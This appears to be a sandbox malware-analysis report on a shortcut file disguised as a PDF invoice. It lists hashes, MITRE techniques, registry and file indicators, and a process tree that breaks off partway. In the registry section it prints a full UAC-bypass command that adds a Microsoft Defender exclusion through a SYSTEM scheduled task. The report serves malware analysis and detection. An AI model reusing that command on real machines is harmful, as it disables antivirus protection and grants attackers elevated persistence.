51fce4d553947ffb9c70ac7cfa11224f288e7008ea986c641e5361c9b52215f9

Analysis

max time kernel
299s
max time network
302s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260706-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/07/2026, 17:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
NF-9eac306f-d134-4609-9c58VoM.pdf.lnk
Size 1KB
Sample260709-vk8aaaes3n
SHA256 51fce4d553947ffb9c70ac7cfa11224f288e7008ea986c641e5361c9b52215f9
MD5 04e2c93ff291bd4d8b0a5a78f82112ae
SHA1 618fd0d0b16d25ab861efb71ad3366c871b66235
SHA512 402dcc00804ea6be13fb240f1c66600d0c3a136e2b4f786a58f0ca148d9e33b19db76931d4a8f21bd7c125dc16bd5d1b70538a95644b27779aa88c541d8cff05
TLSH
T1F341F1151AF2473AF3B5957474B2AB3922BBF842F9284F09000516004C73F948959F77
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
976	powershell.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 3 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
2728	cmd.exe
1484	reg.exe
5788	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Drops file in Windows directory 28 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3700_1005608806\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3700_1796377103\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3700_2087144354\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3700_630199443\automation.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3700_630199443\travel-facilitated-booking-bing.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3700_172592681\LICENSE	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3700_260707564\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3700_1796377103\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3700_630199443\classification.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3700_172592681\keys.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3700_172592681\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3700_172592681\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_cvbgqgn0.5ur.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_itcems2y.s0f.psm1	powershell.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3700_1005608806\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3700_5601424\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3700_2087144354\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3700_630199443\extraction.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3700_630199443\travel-facilitated-booking-kayak.js	msedge.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_cjb3l0ka.dky.ps1	powershell.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3700_5601424\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3700_1796377103\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3700_1796377103\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3700_2087144354\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3700_2087144354\sets.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3700_630199443\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_od45xooj.mnt.psm1	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5348	msedge.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
620	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies data under HKEY_USERS 48 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134280902518140795"	msedge.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe

Modifies registry class 18 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1581435544-3586420778-2104125077-1000_Classes\..AVACA	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1581435544-3586420778-2104125077-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1581435544-3586420778-2104125077-1000_Classes\Local Settings	ComputerDefaults.exe
Key created	\REGISTRY\USER\S-1-5-21-1581435544-3586420778-2104125077-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1581435544-3586420778-2104125077-1000_Classes\..AVACA\Shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1581435544-3586420778-2104125077-1000_Classes\..AVACA\Shell\Open	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1581435544-3586420778-2104125077-1000_Classes\ms-settings\CurVer	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1581435544-3586420778-2104125077-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\DisplayName = "Chrome Sandbox"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1581435544-3586420778-2104125077-1000_Classes\..AVACA\Shell\Open\command	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1581435544-3586420778-2104125077-1000_Classes\..AVACA\Shell\Open\command\ = "cmd.exe /c schtasks /create /tn WindowsDefenderUpdater /sc ONCE /sd 01/01/1910 /st 00:00 /rl highest /ru system /tr \"powershell.exe -ExecutionPolicy Unrestricted -C Add-MpPreference -ExclusionPath C:\\ProgramData\\ -Force\" && schtasks /run /tn WindowsDefenderUpdater"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1581435544-3586420778-2104125077-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1581435544-3586420778-2104125077-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Moniker = "cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	MSBuild.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1581435544-3586420778-2104125077-1000\{5F28C452-D87C-4CC3-A998-BA0F996F7D5E}	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1581435544-3586420778-2104125077-1000_Classes\ms-settings\CurVer\ = "..AVACA"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1581435544-3586420778-2104125077-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1581435544-3586420778-2104125077-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1581435544-3586420778-2104125077-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3216	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3468	schtasks.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
2020	powershell.exe
2020	powershell.exe
2020	powershell.exe
5608	MSBuild.exe
5608	MSBuild.exe
5112	powershell.exe
5112	powershell.exe
5112	powershell.exe
976	powershell.exe
976	powershell.exe
976	powershell.exe
5380	msedge.exe
5380	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
3700	msedge.exe
3700	msedge.exe
3700	msedge.exe
3700	msedge.exe
3700	msedge.exe
3700	msedge.exe
3700	msedge.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

description	pid	Process
Token: SeDebugPrivilege	2020	powershell.exe
Token: SeDebugPrivilege	5608	MSBuild.exe
Token: SeDebugPrivilege	5112	powershell.exe
Token: SeDebugPrivilege	976	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	976	powershell.exe
Token: SeIncreaseQuotaPrivilege	976	powershell.exe
Token: SeSecurityPrivilege	976	powershell.exe
Token: SeTakeOwnershipPrivilege	976	powershell.exe
Token: SeLoadDriverPrivilege	976	powershell.exe
Token: SeSystemtimePrivilege	976	powershell.exe
Token: SeBackupPrivilege	976	powershell.exe
Token: SeRestorePrivilege	976	powershell.exe
Token: SeShutdownPrivilege	976	powershell.exe
Token: SeSystemEnvironmentPrivilege	976	powershell.exe
Token: SeUndockPrivilege	976	powershell.exe
Token: SeManageVolumePrivilege	976	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3700	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3560 wrote to memory of 5608	3560	cmd.exe	89
PID 5608 wrote to memory of 912	5608	MSBuild.exe	90
PID 912 wrote to memory of 4396	912	csc.exe	91
PID 5608 wrote to memory of 3700	5608	MSBuild.exe	92
PID 5608 wrote to memory of 2020	5608	MSBuild.exe	93
PID 3700 wrote to memory of 2360	3700	msedge.exe	95
PID 3700 wrote to memory of 4028	3700	msedge.exe	96
PID 3700 wrote to memory of 5348	3700	msedge.exe	97
PID 3700 wrote to memory of 4028	3700	msedge.exe	96
PID 3700 wrote to memory of 4028	3700	msedge.exe	96
PID 3700 wrote to memory of 4044	3700	msedge.exe	98
PID 3700 wrote to memory of 4044	3700	msedge.exe	98
PID 3700 wrote to memory of 6052	3700	msedge.exe	100
PID 3700 wrote to memory of 6052	3700	msedge.exe	100
PID 3700 wrote to memory of 6052	3700	msedge.exe	100
PID 3700 wrote to memory of 2052	3700	msedge.exe	101
PID 3700 wrote to memory of 2052	3700	msedge.exe	101
PID 3700 wrote to memory of 2052	3700	msedge.exe	101
PID 3700 wrote to memory of 4316	3700	msedge.exe	102
PID 3700 wrote to memory of 4316	3700	msedge.exe	102
PID 3700 wrote to memory of 4316	3700	msedge.exe	102
PID 3700 wrote to memory of 3536	3700	msedge.exe	103
PID 3700 wrote to memory of 3536	3700	msedge.exe	103
PID 3700 wrote to memory of 3536	3700	msedge.exe	103
PID 3700 wrote to memory of 5032	3700	msedge.exe	104
PID 3700 wrote to memory of 5032	3700	msedge.exe	104
PID 3700 wrote to memory of 5032	3700	msedge.exe	104
PID 3700 wrote to memory of 2812	3700	msedge.exe	105
PID 3700 wrote to memory of 2812	3700	msedge.exe	105
PID 3700 wrote to memory of 2812	3700	msedge.exe	105
PID 3700 wrote to memory of 2176	3700	msedge.exe	106
PID 3700 wrote to memory of 2176	3700	msedge.exe	106
PID 3700 wrote to memory of 612	3700	msedge.exe	108
PID 3700 wrote to memory of 612	3700	msedge.exe	108
PID 3700 wrote to memory of 5272	3700	msedge.exe	109
PID 3700 wrote to memory of 5272	3700	msedge.exe	109
PID 3700 wrote to memory of 2604	3700	msedge.exe	111
PID 3700 wrote to memory of 5360	3700	msedge.exe	112
PID 3700 wrote to memory of 5360	3700	msedge.exe	112
PID 3700 wrote to memory of 4032	3700	msedge.exe	115
PID 3700 wrote to memory of 4032	3700	msedge.exe	115
PID 5608 wrote to memory of 2728	5608	MSBuild.exe	116
PID 2728 wrote to memory of 1484	2728	cmd.exe	118
PID 2728 wrote to memory of 3216	2728	cmd.exe	119
PID 2728 wrote to memory of 620	2728	cmd.exe	120
PID 2728 wrote to memory of 6132	2728	cmd.exe	121
PID 6132 wrote to memory of 5788	6132	ComputerDefaults.exe	122
PID 5788 wrote to memory of 3468	5788	cmd.exe	124
PID 5788 wrote to memory of 628	5788	cmd.exe	125
PID 3700 wrote to memory of 2268	3700	msedge.exe	132
PID 3700 wrote to memory of 2176	3700	msedge.exe	133
PID 3700 wrote to memory of 940	3700	msedge.exe	134
PID 3700 wrote to memory of 5540	3700	msedge.exe	135
PID 3700 wrote to memory of 5540	3700	msedge.exe	135
PID 3700 wrote to memory of 5064	3700	msedge.exe	139
PID 3700 wrote to memory of 5064	3700	msedge.exe	139
PID 3700 wrote to memory of 3948	3700	msedge.exe	140
PID 3700 wrote to memory of 3948	3700	msedge.exe	140
PID 3700 wrote to memory of 5380	3700	msedge.exe	141
PID 3700 wrote to memory of 2064	3700	msedge.exe	142
PID 3700 wrote to memory of 2064	3700	msedge.exe	142
PID 3700 wrote to memory of 4676	3700	msedge.exe	143
PID 3700 wrote to memory of 4676	3700	msedge.exe	143
PID 3700 wrote to memory of 4520	3700	msedge.exe	144

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\NF-9eac306f-d134-4609-9c58VoM.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:3560
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" -nologo NF-9eac306f-d134-4609-9c58VoM.xml
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5608
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\otnf3yv0\otnf3yv0.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:912
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES78D0.tmp" "c:\Users\Admin\AppData\Local\Temp\otnf3yv0\CSCC10C4D6779EF4367ABD04E87AE989E6.TMP"
      4⤵
      PID:4396
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Downloads\NF-9eac306f-d134-4609-9c58VoM.pdf
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3700
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x254,0x314,0x7ffb12cfc188,0x7ffb12cfc194,0x7ffb12cfc1a0
      4⤵
      PID:2360
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1544,i,7608929235040758743,9417874392505109503,262144 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=2608 /prefetch:2
      4⤵
      PID:4028
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1784,i,9611058259197026458,17454465241021575600,524288 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=2708 /prefetch:11
      4⤵
      System Time Discovery
      PID:5348
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1964,i,6210429944445209913,244152540660771914,524288 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=3140 /prefetch:13
      4⤵
      PID:4044
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3564,i,8937256234126829474,17560058891436573208,2097152 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=3644 /prefetch:1
      4⤵
      PID:6052
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3568,i,7610656812815400962,8387278011018799734,2097152 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=3648 /prefetch:1
      4⤵
      PID:2052
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4256,i,10861622577680268201,14144895897192615254,2097152 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=4448 /prefetch:1
      4⤵
      PID:4316
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4252,i,6779403038486273502,3749873546358141237,2097152 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=4844 /prefetch:9
      4⤵
      PID:3536
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
